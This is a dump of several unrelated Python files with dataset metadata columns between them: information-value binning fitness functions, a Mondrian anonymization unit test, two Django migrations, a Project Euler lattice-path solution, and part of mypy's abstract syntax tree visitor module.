n_good = np.array(list(map(n_fn,G_splits)))
n_bad = np.array(list(map(n_fn,B_splits)))
r = 'darkred'
g = 'darkgreen'
sel_iv_tab = pd.DataFrame({"RANGE":x_range
,"X_MIN":x_min
,"X_MAX":x_max
,"N":n
,"#GOOD":n_good
,"#BAD":n_bad
, "WOE":woe
, "IV":iv})
ax = sel_iv_tab.plot(kind='bar',x='RANGE',y='WOE',ylim = (-2.5,2.5), width=0.9
, color=sel_iv_tab["WOE"].apply(lambda x: g if x>0 else r))
ax.set_xlabel("Ranges")
ax.set_ylabel("WoE")
plt.tight_layout()
return sel_iv_tab
def IV_noconst(individual,X,G,B,N,G_total,B_total,N_total
,p_min_woe_diff=0.05
,p_min_perc=0.05
,p_max_perc=0.45
,p_penalty_weight=0.5):
#force 4 bins, 3 cutpoints or max 20 bins, 19 cut points (Death penalty)
if sum(individual) > len(X)-1-1 or sum(individual) > 19 or sum(individual) == 0:
return -100000,
cutpoints = np.where(individual == 1)[0] + 1
G_splits = np.split(G, cutpoints)
G_splits = [i for i in G_splits if i.size > 0] #remove empty
B_splits = np.split(B, cutpoints)
B_splits = [i for i in B_splits if i.size > 0] #remove empty
N_splits = np.split(N, cutpoints)
N_splits = [i for i in N_splits if i.size > 0] #remove empty
dist_G = np.array([dist_g_fn(i,G_total) for i in G_splits])
dist_B = np.array([dist_b_fn(i,B_total) for i in B_splits])
iv = (1.0*(dist_G - dist_B)*np.log(dist_G/dist_B))
n = np.array(list(map(n_fn,N_splits)))
pect_n = n/N_total
pos_iv = iv[(pect_n >= p_min_perc)]
neg_iv = iv[ ~(pect_n >= p_min_perc) ]
IV = pos_iv.sum() - p_penalty_weight*neg_iv.sum()
IV = round(IV,6)
return IV,
def IV_mono(individual,X,G,B,N,G_total,B_total,N_total,penalty_weight1=1):
#force 4 bins, 3 cutpoints or max 20 bins, 19 cut points (Death penalty)
if individual.sum() > len(X)-1-1 or individual.sum() > 19 or individual.sum() == 0:
return -10000,
cutpoints = np.where(individual == 1)[0] + 1
G_splits = np.split(G, cutpoints)
G_splits = [i for i in G_splits if i.size > 0] #remove empty
B_splits = np.split(B, cutpoints)
B_splits = [i for i in B_splits if i.size > 0] #remove empty
N_splits = np.split(N, cutpoints)
N_splits = [i for i in N_splits if i.size > 0] #remove empty
dist_G = np.array([dist_g_fn(i,G_total) for i in G_splits])
dist_B = np.array([dist_b_fn(i,B_total) for i in B_splits])
woe = np.log(dist_G/dist_B)
is_incr = ( np.diff(woe) >= 0.05*np.max(woe) )
is_decr = ( np.diff(woe) <= -0.05*np.max(woe) )
if is_incr.sum() >= is_decr.sum():
mono_chk = np.hstack(([True],is_incr)) # trend is more toward increasing
else:
mono_chk = np.hstack(([True],is_decr))
iv = (1.0*(dist_G - dist_B)*np.log(dist_G/dist_B))
n = np.array(list(map(n_fn,N_splits)))
n_from_min = n - np.ceil(N_total*0.05)
n_from_max = np.ceil(2*N_total/iv.shape[0]) - n #2 times of avg
f_x = iv.sum() \
+ penalty_weight1*(n_from_min[ n_from_min < 0].sum() \
+ n_from_max[ n_from_max < 0].sum()) \
- penalty_weight1*n[~mono_chk].sum() # penalty minus values
f_x = round(f_x,6)
return f_x,
def IV_peaks(individual,X,G,B,N,G_total,B_total,N_total
,p_min_woe_diff=0.05
,p_min_perc=0.05
,p_max_perc=0.45
,p_penalty_weight1=1
,p_penalty_weight2=2
,p_n_peak=1):
#force 4 bins, 3 cutpoints or max 20 bins, 19 cut points (Death penalty)
if individual.sum() > len(X)-1-1 or individual.sum() > 19 or individual.sum() == 0:
return -100000,
cutpoints = np.where(individual == 1)[0] + 1
G_splits = np.split(G, cutpoints)
G_splits = [i for i in G_splits if i.size > 0] #remove empty
B_splits = np.split(B, cutpoints)
B_splits = [i for i in B_splits if i.size > 0] #remove empty
N_splits = np.split(N, cutpoints)
N_splits = [i for i in N_splits if i.size > 0] #remove empty
dist_G = np.array([dist_g_fn(i,G_total) for i in G_splits])
dist_B = np.array([dist_b_fn(i,B_total) for i in B_splits])
woe = np.log(dist_G/dist_B)
iv = (1.0*(dist_G - dist_B)*np.log(dist_G/dist_B))
n = np.array(list(map(n_fn,N_splits)))
n_from_min = n - np.ceil(N_total*p_min_perc)
n_from_max = np.ceil(2*N_total/iv.shape[0]) - n #2 times of avg
local_min = np.r_[False, woe[1:] < woe[:-1] ] \
& np.r_[woe[:-1] < woe[1:] , False]
local_max = np.r_[False, woe[1:] > woe[:-1] ] \
& np.r_[woe[:-1] > woe[1:], False]
is_incr = ( np.diff(woe) >= p_min_woe_diff*np.max(woe) )
is_decr = ( np.diff(woe) <= -p_min_woe_diff*np.max(woe) )
diff_5perc = np.hstack(([True],is_incr | is_decr))
if local_min.sum() + local_max.sum() <= p_n_peak:
f_x = iv.sum() \
+ p_penalty_weight1*(n_from_min[ n_from_min < 0].sum() \
+ n_from_max[ n_from_max < 0].sum())\
- p_penalty_weight1*n[~diff_5perc].sum()
else:
f_x = iv.sum() \
+ p_penalty_weight1*(n_from_min[ n_from_min < 0].sum() \
+ n_from_max[ n_from_max < 0].sum()) \
- p_penalty_weight1*n[~diff_5perc].sum() \
- p_penalty_weight1*n[local_min | local_max].sum() # penalty minus values
f_x = round(f_x,6)
return f_x,
def IV_1peak(individual,X,G,B,N,G_total,B_total,N_total
,p_min_woe_diff=0.05
,p_min_perc=0.05
,p_max_perc=0.45
,p_penalty_weight1=1
,p_penalty_weight2=2
):
return IV_peaks(individual,X,G,B,N,G_total,B_total,N_total
,p_min_woe_diff=p_min_woe_diff
,p_min_perc=p_min_perc
,p_max_perc=p_max_perc
,p_penalty_weight1=p_penalty_weight1
,p_penalty_weight2=p_penalty_weight2
,p_n_peak=1)
def IV_2peak(individual,X,G,B,N,G_total,B_total,N_total
,p_min_woe_diff=0.05
,p_min_perc=0.05
,p_max_perc=0.45
,p_penalty_weight1=1
,p_penalty_weight2=2
):
return IV_peaks(individual,X,G,B,N,G_total,B_total,N_total
,p_min_woe_diff=p_min_woe_diff
,p_min_perc=p_min_perc
,p_max_perc=p_max_perc
,p_penalty_weight1=p_penalty_weight1
,p_penalty_weight2=p_penalty_weight2
,p_n_peak=2)
| 38.041379
| 105
| 0.555022
| 1,867
| 11,032
| 3.02196
| 0.091591
| 0.023928
| 0.028713
| 0.039171
| 0.856079
| 0.835874
| 0.82843
| 0.809996
| 0.790854
| 0.790854
| 0
| 0.034456
| 0.308104
| 11,032
| 289
| 106
| 38.17301
| 0.704703
| 0.07723
| 0
| 0.722222
| 0
| 0
| 0.017364
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.037037
| false
| 0
| 0.013889
| 0.009259
| 0.101852
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
92f84298ed5925dfc2d2af529db0164ceb538127
| 1,981
|
py
|
Python
|
test.py
|
luyang1210/Mondrian-python
|
94f813ac923efa168549666d073782fb215d1be1
|
[
"MIT"
] | 4
|
2018-08-22T17:48:55.000Z
|
2022-02-07T13:59:43.000Z
|
test.py
|
luyang1210/Mondrian-python
|
94f813ac923efa168549666d073782fb215d1be1
|
[
"MIT"
] | null | null | null |
test.py
|
luyang1210/Mondrian-python
|
94f813ac923efa168549666d073782fb215d1be1
|
[
"MIT"
] | null | null | null |
import unittest
from mondrian import mondrian
class functionTest(unittest.TestCase):
def test1_mondrian_strict(self):
data = [[6, 1, 'haha'],
[6, 1, 'test'],
[8, 2, 'haha'],
[8, 2, 'test'],
[4, 1, 'hha'],
[4, 2, 'hha'],
[4, 3, 'hha'],
[4, 4, 'hha']]
result, eval_r = mondrian(data, 2, False)
# print result
# print eval_r
self.assertTrue(abs(eval_r[0] - 100.0 / 12) < 0.05)
def test1_mondrian_relax(self):
data = [[6, 1, 'haha'],
[6, 1, 'test'],
[8, 2, 'haha'],
[8, 2, 'test'],
[4, 1, 'hha'],
[4, 2, 'hha'],
[4, 3, 'hha'],
[4, 4, 'hha']]
result, eval_r = mondrian(data, 2, True)
# print result
# print eval_r
self.assertTrue(abs(eval_r[0] - 100.0 / 12) < 0.05)
def test2_mondrian_strict(self):
data = [[6, 1, 'haha'],
[8, 1, 'haha'],
[8, 1, 'test'],
[8, 1, 'haha'],
[8, 1, 'test'],
[4, 1, 'hha'],
[4, 2, 'hha'],
[4, 3, 'hha'],
[4, 4, 'hha']]
result, eval_r = mondrian(data, 2, False)
# print result
# print eval_r
self.assertTrue(abs(eval_r[0] - 2300.0 / 108) < 0.05)
def test2_mondrian_relax(self):
data = [[6, 1, 'haha'],
[8, 1, 'haha'],
[8, 1, 'test'],
[8, 1, 'haha'],
[8, 1, 'test'],
[4, 1, 'hha'],
[4, 2, 'hha'],
[4, 3, 'hha'],
[4, 4, 'hha']]
result, eval_r = mondrian(data, 2, True)
# print result
# print eval_r
self.assertTrue(abs(eval_r[0] - 700.0 / 54) < 0.05)
if __name__ == '__main__':
unittest.main()
| 29.567164
| 61
| 0.38213
| 233
| 1,981
| 3.128755
| 0.180258
| 0.065844
| 0.049383
| 0.057613
| 0.828532
| 0.806584
| 0.806584
| 0.73251
| 0.73251
| 0.73251
| 0
| 0.106594
| 0.441191
| 1,981
| 66
| 62
| 30.015152
| 0.551942
| 0.051994
| 0
| 0.784314
| 0
| 0
| 0.068486
| 0
| 0
| 0
| 0
| 0
| 0.078431
| 1
| 0.078431
| false
| 0
| 0.039216
| 0
| 0.137255
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
133eec8ed69f13391ecc6596e4a29d193cc17d6c
| 3,517
|
py
|
Python
|
polaris/polaris/migrations/0006_auto_20200129_2323.py
|
paysharesdev/django-polaris
|
cbbebed5623a92074071f59f4bca65e2b1c6571b
|
[
"Apache-2.0"
] | null | null | null |
polaris/polaris/migrations/0006_auto_20200129_2323.py
|
paysharesdev/django-polaris
|
cbbebed5623a92074071f59f4bca65e2b1c6571b
|
[
"Apache-2.0"
] | null | null | null |
polaris/polaris/migrations/0006_auto_20200129_2323.py
|
paysharesdev/django-polaris
|
cbbebed5623a92074071f59f4bca65e2b1c6571b
|
[
"Apache-2.0"
] | null | null | null |
# Generated by Django 2.2.9 on 2020-01-29 23:23
import decimal
import django.core.validators
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("polaris", "0005_auto_20200121_1852"),
]
operations = [
migrations.AlterField(
model_name="asset", name="code", field=models.TextField(default="USD"),
),
migrations.AlterField(
model_name="asset",
name="deposit_fee_fixed",
field=models.DecimalField(
blank=True, decimal_places=7, default=0, max_digits=30
),
),
migrations.AlterField(
model_name="asset",
name="deposit_fee_percent",
field=models.DecimalField(
blank=True,
decimal_places=7,
default=0,
max_digits=30,
validators=[
django.core.validators.MinValueValidator(0),
django.core.validators.MaxValueValidator(100),
],
),
),
migrations.AlterField(
model_name="asset",
name="deposit_max_amount",
field=models.DecimalField(
blank=True, decimal_places=7, default=decimal.MAX_EMAX, max_digits=30,
),
),
migrations.AlterField(
model_name="asset",
name="deposit_min_amount",
field=models.DecimalField(
blank=True, decimal_places=7, default=0, max_digits=30
),
),
migrations.AlterField(
model_name="asset",
name="withdrawal_fee_fixed",
field=models.DecimalField(
blank=True, decimal_places=7, default=0, max_digits=30
),
),
migrations.AlterField(
model_name="asset",
name="withdrawal_fee_percent",
field=models.DecimalField(
blank=True,
decimal_places=7,
default=0,
max_digits=30,
validators=[
django.core.validators.MinValueValidator(0),
django.core.validators.MaxValueValidator(100),
],
),
),
migrations.AlterField(
model_name="asset",
name="withdrawal_max_amount",
field=models.DecimalField(
blank=True, decimal_places=7, default=decimal.MAX_EMAX, max_digits=30,
),
),
migrations.AlterField(
model_name="asset",
name="withdrawal_min_amount",
field=models.DecimalField(
blank=True, decimal_places=7, default=0, max_digits=30
),
),
migrations.AlterField(
model_name="transaction",
name="amount_fee",
field=models.DecimalField(
blank=True, decimal_places=7, max_digits=30, null=True
),
),
migrations.AlterField(
model_name="transaction",
name="amount_in",
field=models.DecimalField(
blank=True, decimal_places=7, max_digits=30, null=True
),
),
migrations.AlterField(
model_name="transaction",
name="amount_out",
field=models.DecimalField(
blank=True, decimal_places=7, max_digits=30, null=True
),
),
]
| 31.972727
| 86
| 0.522604
| 312
| 3,517
| 5.705128
| 0.192308
| 0.134831
| 0.168539
| 0.195506
| 0.870225
| 0.870225
| 0.848876
| 0.827528
| 0.802247
| 0.802247
| 0
| 0.035649
| 0.377879
| 3,517
| 109
| 87
| 32.266055
| 0.777879
| 0.012795
| 0
| 0.796117
| 1
| 0
| 0.086455
| 0.025072
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.029126
| 0
| 0.058252
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
13969cdba6d67bbff19e526dbab6438d9fc5ab5c
| 233
|
py
|
Python
|
problem_15.py
|
coderistan/projecteuler
|
d030a7e405d437502a6a8c4997e809781ad6302b
|
[
"MIT"
] | null | null | null |
problem_15.py
|
coderistan/projecteuler
|
d030a7e405d437502a6a8c4997e809781ad6302b
|
[
"MIT"
] | null | null | null |
problem_15.py
|
coderistan/projecteuler
|
d030a7e405d437502a6a8c4997e809781ad6302b
|
[
"MIT"
] | null | null | null |
# coding: utf-8
# http://mathforum.org/advanced/robertd/manhattan.html
import math
def solution(dimension):
return math.factorial(dimension+dimension) / (math.factorial(dimension)*math.factorial(dimension))
print(solution(20))
| 25.888889
| 102
| 0.772532
| 29
| 233
| 6.206897
| 0.655172
| 0.216667
| 0.366667
| 0.344444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014085
| 0.085837
| 233
| 9
| 103
| 25.888889
| 0.830986
| 0.283262
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.25
| 0.75
| 0.25
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
13de3d4266068be4c5bf539c417a62e9c89d5368
| 2,998
|
py
|
Python
|
src/aws_environments/migrations/0027_auto_20200423_1352.py
|
chiliseed/hub
|
83f29fbdd12e2260397e18e635f508459fa4990e
|
[
"Apache-2.0"
] | null | null | null |
src/aws_environments/migrations/0027_auto_20200423_1352.py
|
chiliseed/hub
|
83f29fbdd12e2260397e18e635f508459fa4990e
|
[
"Apache-2.0"
] | 4
|
2021-04-08T20:10:15.000Z
|
2021-06-10T20:18:17.000Z
|
src/aws_environments/migrations/0027_auto_20200423_1352.py
|
chiliseed/hub
|
83f29fbdd12e2260397e18e635f508459fa4990e
|
[
"Apache-2.0"
] | null | null | null |
# Generated by Django 3.0.2 on 2020-04-23 13:52
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("aws_environments", "0026_auto_20200423_1102"),
]
operations = [
migrations.AddField(
model_name="environment",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="environment",
name="is_deleted",
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name="envstatus",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="envstatus",
name="is_deleted",
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name="executionlog",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="executionlog",
name="is_deleted",
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name="project",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="project",
name="is_deleted",
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name="projectstatus",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="projectstatus",
name="is_deleted",
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name="resourcestatus",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="resourcestatus",
name="is_deleted",
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name="service",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="servicedeployment",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="servicedeployment",
name="is_deleted",
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name="servicestatus",
name="deleted_at",
field=models.DateTimeField(null=True),
),
migrations.AddField(
model_name="servicestatus",
name="is_deleted",
field=models.BooleanField(default=False),
),
]
| 30.282828
| 56
| 0.548032
| 251
| 2,998
| 6.394422
| 0.195219
| 0.190654
| 0.243614
| 0.285981
| 0.897196
| 0.897196
| 0.781931
| 0.781931
| 0.752025
| 0.752025
| 0
| 0.015696
| 0.341227
| 2,998
| 98
| 57
| 30.591837
| 0.796962
| 0.01501
| 0
| 0.913043
| 1
| 0
| 0.138258
| 0.007794
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.01087
| 0
| 0.043478
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
b97c087e8960a10608b3ca3cf87252ce95dff0ff
| 105
|
py
|
Python
|
suricate/base/__init__.py
|
ogierpaul/suricate
|
fd43627e5d2a92fe4bf7b562f65ab89ec07ee49c
|
[
"MIT"
] | 1
|
2019-06-04T22:11:21.000Z
|
2019-06-04T22:11:21.000Z
|
suricate/base/__init__.py
|
ogierpaul/wookie
|
fd43627e5d2a92fe4bf7b562f65ab89ec07ee49c
|
[
"MIT"
] | 4
|
2020-03-31T03:52:32.000Z
|
2020-04-20T20:17:13.000Z
|
suricate/base/__init__.py
|
ogierpaul/wookie
|
fd43627e5d2a92fe4bf7b562f65ab89ec07ee49c
|
[
"MIT"
] | 1
|
2020-04-18T08:51:17.000Z
|
2020-04-18T08:51:17.000Z
|
from suricate.base.connector import ConnectorMixin
from suricate.base.connector import multiindex21column
| 52.5
| 54
| 0.895238
| 12
| 105
| 7.833333
| 0.583333
| 0.255319
| 0.340426
| 0.531915
| 0.659574
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020408
| 0.066667
| 105
| 2
| 54
| 52.5
| 0.938776
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
b98ec773bbe37673f35538a14ed1cafe394d26e0
| 14,619
|
py
|
Python
|
mypy/visitor.py
|
evinism/mypy
|
d87d468ee80908a865c388a7743c84c1f5c917d7
|
[
"PSF-2.0"
] | 12,496
|
2016-02-19T13:38:26.000Z
|
2022-03-31T23:56:19.000Z
|
mypy/visitor.py
|
evinism/mypy
|
d87d468ee80908a865c388a7743c84c1f5c917d7
|
[
"PSF-2.0"
] | 9,429
|
2016-02-19T13:41:32.000Z
|
2022-03-31T23:29:38.000Z
|
mypy/visitor.py
|
Zeckie/baselinedmypy
|
142c896a7ec0a10697375833fd897b293a748699
|
[
"PSF-2.0"
] | 2,770
|
2016-02-19T16:18:19.000Z
|
2022-03-31T08:12:49.000Z
|
"""Generic abstract syntax tree node visitor"""
from abc import abstractmethod
from typing import TypeVar, Generic
from typing_extensions import TYPE_CHECKING
from mypy_extensions import trait, mypyc_attr
if TYPE_CHECKING:
# break import cycle only needed for mypy
import mypy.nodes
T = TypeVar('T')
@trait
@mypyc_attr(allow_interpreted_subclasses=True)
class ExpressionVisitor(Generic[T]):
@abstractmethod
def visit_int_expr(self, o: 'mypy.nodes.IntExpr') -> T:
pass
@abstractmethod
def visit_str_expr(self, o: 'mypy.nodes.StrExpr') -> T:
pass
@abstractmethod
def visit_bytes_expr(self, o: 'mypy.nodes.BytesExpr') -> T:
pass
@abstractmethod
def visit_unicode_expr(self, o: 'mypy.nodes.UnicodeExpr') -> T:
pass
@abstractmethod
def visit_float_expr(self, o: 'mypy.nodes.FloatExpr') -> T:
pass
@abstractmethod
def visit_complex_expr(self, o: 'mypy.nodes.ComplexExpr') -> T:
pass
@abstractmethod
def visit_ellipsis(self, o: 'mypy.nodes.EllipsisExpr') -> T:
pass
@abstractmethod
def visit_star_expr(self, o: 'mypy.nodes.StarExpr') -> T:
pass
@abstractmethod
def visit_name_expr(self, o: 'mypy.nodes.NameExpr') -> T:
pass
@abstractmethod
def visit_member_expr(self, o: 'mypy.nodes.MemberExpr') -> T:
pass
@abstractmethod
def visit_yield_from_expr(self, o: 'mypy.nodes.YieldFromExpr') -> T:
pass
@abstractmethod
def visit_yield_expr(self, o: 'mypy.nodes.YieldExpr') -> T:
pass
@abstractmethod
def visit_call_expr(self, o: 'mypy.nodes.CallExpr') -> T:
pass
@abstractmethod
def visit_op_expr(self, o: 'mypy.nodes.OpExpr') -> T:
pass
@abstractmethod
def visit_comparison_expr(self, o: 'mypy.nodes.ComparisonExpr') -> T:
pass
@abstractmethod
def visit_cast_expr(self, o: 'mypy.nodes.CastExpr') -> T:
pass
@abstractmethod
def visit_reveal_expr(self, o: 'mypy.nodes.RevealExpr') -> T:
pass
@abstractmethod
def visit_super_expr(self, o: 'mypy.nodes.SuperExpr') -> T:
pass
@abstractmethod
def visit_unary_expr(self, o: 'mypy.nodes.UnaryExpr') -> T:
pass
@abstractmethod
def visit_assignment_expr(self, o: 'mypy.nodes.AssignmentExpr') -> T:
pass
@abstractmethod
def visit_list_expr(self, o: 'mypy.nodes.ListExpr') -> T:
pass
@abstractmethod
def visit_dict_expr(self, o: 'mypy.nodes.DictExpr') -> T:
pass
@abstractmethod
def visit_tuple_expr(self, o: 'mypy.nodes.TupleExpr') -> T:
pass
@abstractmethod
def visit_set_expr(self, o: 'mypy.nodes.SetExpr') -> T:
pass
@abstractmethod
def visit_index_expr(self, o: 'mypy.nodes.IndexExpr') -> T:
pass
@abstractmethod
def visit_type_application(self, o: 'mypy.nodes.TypeApplication') -> T:
pass
@abstractmethod
def visit_lambda_expr(self, o: 'mypy.nodes.LambdaExpr') -> T:
pass
@abstractmethod
def visit_list_comprehension(self, o: 'mypy.nodes.ListComprehension') -> T:
pass
@abstractmethod
def visit_set_comprehension(self, o: 'mypy.nodes.SetComprehension') -> T:
pass
@abstractmethod
def visit_dictionary_comprehension(self, o: 'mypy.nodes.DictionaryComprehension') -> T:
pass
@abstractmethod
def visit_generator_expr(self, o: 'mypy.nodes.GeneratorExpr') -> T:
pass
@abstractmethod
def visit_slice_expr(self, o: 'mypy.nodes.SliceExpr') -> T:
pass
@abstractmethod
def visit_conditional_expr(self, o: 'mypy.nodes.ConditionalExpr') -> T:
pass
@abstractmethod
def visit_backquote_expr(self, o: 'mypy.nodes.BackquoteExpr') -> T:
pass
@abstractmethod
def visit_type_var_expr(self, o: 'mypy.nodes.TypeVarExpr') -> T:
pass
@abstractmethod
def visit_paramspec_expr(self, o: 'mypy.nodes.ParamSpecExpr') -> T:
pass
@abstractmethod
def visit_type_alias_expr(self, o: 'mypy.nodes.TypeAliasExpr') -> T:
pass
@abstractmethod
def visit_namedtuple_expr(self, o: 'mypy.nodes.NamedTupleExpr') -> T:
pass
@abstractmethod
def visit_enum_call_expr(self, o: 'mypy.nodes.EnumCallExpr') -> T:
pass
@abstractmethod
def visit_typeddict_expr(self, o: 'mypy.nodes.TypedDictExpr') -> T:
pass
@abstractmethod
def visit_newtype_expr(self, o: 'mypy.nodes.NewTypeExpr') -> T:
pass
@abstractmethod
def visit__promote_expr(self, o: 'mypy.nodes.PromoteExpr') -> T:
pass
@abstractmethod
def visit_await_expr(self, o: 'mypy.nodes.AwaitExpr') -> T:
pass
@abstractmethod
def visit_temp_node(self, o: 'mypy.nodes.TempNode') -> T:
pass
@trait
@mypyc_attr(allow_interpreted_subclasses=True)
class StatementVisitor(Generic[T]):
# Definitions
@abstractmethod
def visit_assignment_stmt(self, o: 'mypy.nodes.AssignmentStmt') -> T:
pass
@abstractmethod
def visit_for_stmt(self, o: 'mypy.nodes.ForStmt') -> T:
pass
@abstractmethod
def visit_with_stmt(self, o: 'mypy.nodes.WithStmt') -> T:
pass
@abstractmethod
def visit_del_stmt(self, o: 'mypy.nodes.DelStmt') -> T:
pass
@abstractmethod
def visit_func_def(self, o: 'mypy.nodes.FuncDef') -> T:
pass
@abstractmethod
def visit_overloaded_func_def(self, o: 'mypy.nodes.OverloadedFuncDef') -> T:
pass
@abstractmethod
def visit_class_def(self, o: 'mypy.nodes.ClassDef') -> T:
pass
@abstractmethod
def visit_global_decl(self, o: 'mypy.nodes.GlobalDecl') -> T:
pass
@abstractmethod
def visit_nonlocal_decl(self, o: 'mypy.nodes.NonlocalDecl') -> T:
pass
@abstractmethod
def visit_decorator(self, o: 'mypy.nodes.Decorator') -> T:
pass
# Module structure
@abstractmethod
def visit_import(self, o: 'mypy.nodes.Import') -> T:
pass
@abstractmethod
def visit_import_from(self, o: 'mypy.nodes.ImportFrom') -> T:
pass
@abstractmethod
def visit_import_all(self, o: 'mypy.nodes.ImportAll') -> T:
pass
# Statements
@abstractmethod
def visit_block(self, o: 'mypy.nodes.Block') -> T:
pass
@abstractmethod
def visit_expression_stmt(self, o: 'mypy.nodes.ExpressionStmt') -> T:
pass
@abstractmethod
def visit_operator_assignment_stmt(self, o: 'mypy.nodes.OperatorAssignmentStmt') -> T:
pass
@abstractmethod
def visit_while_stmt(self, o: 'mypy.nodes.WhileStmt') -> T:
pass
@abstractmethod
def visit_return_stmt(self, o: 'mypy.nodes.ReturnStmt') -> T:
pass
@abstractmethod
def visit_assert_stmt(self, o: 'mypy.nodes.AssertStmt') -> T:
pass
@abstractmethod
def visit_if_stmt(self, o: 'mypy.nodes.IfStmt') -> T:
pass
@abstractmethod
def visit_break_stmt(self, o: 'mypy.nodes.BreakStmt') -> T:
pass
@abstractmethod
def visit_continue_stmt(self, o: 'mypy.nodes.ContinueStmt') -> T:
pass
@abstractmethod
def visit_pass_stmt(self, o: 'mypy.nodes.PassStmt') -> T:
pass
@abstractmethod
def visit_raise_stmt(self, o: 'mypy.nodes.RaiseStmt') -> T:
pass
@abstractmethod
def visit_try_stmt(self, o: 'mypy.nodes.TryStmt') -> T:
pass
@abstractmethod
def visit_print_stmt(self, o: 'mypy.nodes.PrintStmt') -> T:
pass
@abstractmethod
def visit_exec_stmt(self, o: 'mypy.nodes.ExecStmt') -> T:
pass
@trait
@mypyc_attr(allow_interpreted_subclasses=True)
class NodeVisitor(Generic[T], ExpressionVisitor[T], StatementVisitor[T]):
"""Empty base class for parse tree node visitors.
The T type argument specifies the return type of the visit
methods. As all methods defined here return None by default,
subclasses do not always need to override all the methods.
TODO make the default return value explicit
"""
# Not in superclasses:
def visit_mypy_file(self, o: 'mypy.nodes.MypyFile') -> T:
pass
# TODO: We have a visit_var method, but no visit_typeinfo or any
# other non-Statement SymbolNode (accepting those will raise a
# runtime error). Maybe this should be resolved in some direction.
def visit_var(self, o: 'mypy.nodes.Var') -> T:
pass
# Module structure
def visit_import(self, o: 'mypy.nodes.Import') -> T:
pass
def visit_import_from(self, o: 'mypy.nodes.ImportFrom') -> T:
pass
def visit_import_all(self, o: 'mypy.nodes.ImportAll') -> T:
pass
# Definitions
def visit_func_def(self, o: 'mypy.nodes.FuncDef') -> T:
pass
def visit_overloaded_func_def(self,
o: 'mypy.nodes.OverloadedFuncDef') -> T:
pass
def visit_class_def(self, o: 'mypy.nodes.ClassDef') -> T:
pass
def visit_global_decl(self, o: 'mypy.nodes.GlobalDecl') -> T:
pass
def visit_nonlocal_decl(self, o: 'mypy.nodes.NonlocalDecl') -> T:
pass
def visit_decorator(self, o: 'mypy.nodes.Decorator') -> T:
pass
def visit_type_alias(self, o: 'mypy.nodes.TypeAlias') -> T:
pass
def visit_placeholder_node(self, o: 'mypy.nodes.PlaceholderNode') -> T:
pass
# Statements
def visit_block(self, o: 'mypy.nodes.Block') -> T:
pass
def visit_expression_stmt(self, o: 'mypy.nodes.ExpressionStmt') -> T:
pass
def visit_assignment_stmt(self, o: 'mypy.nodes.AssignmentStmt') -> T:
pass
def visit_operator_assignment_stmt(self,
o: 'mypy.nodes.OperatorAssignmentStmt') -> T:
pass
def visit_while_stmt(self, o: 'mypy.nodes.WhileStmt') -> T:
pass
def visit_for_stmt(self, o: 'mypy.nodes.ForStmt') -> T:
pass
def visit_return_stmt(self, o: 'mypy.nodes.ReturnStmt') -> T:
pass
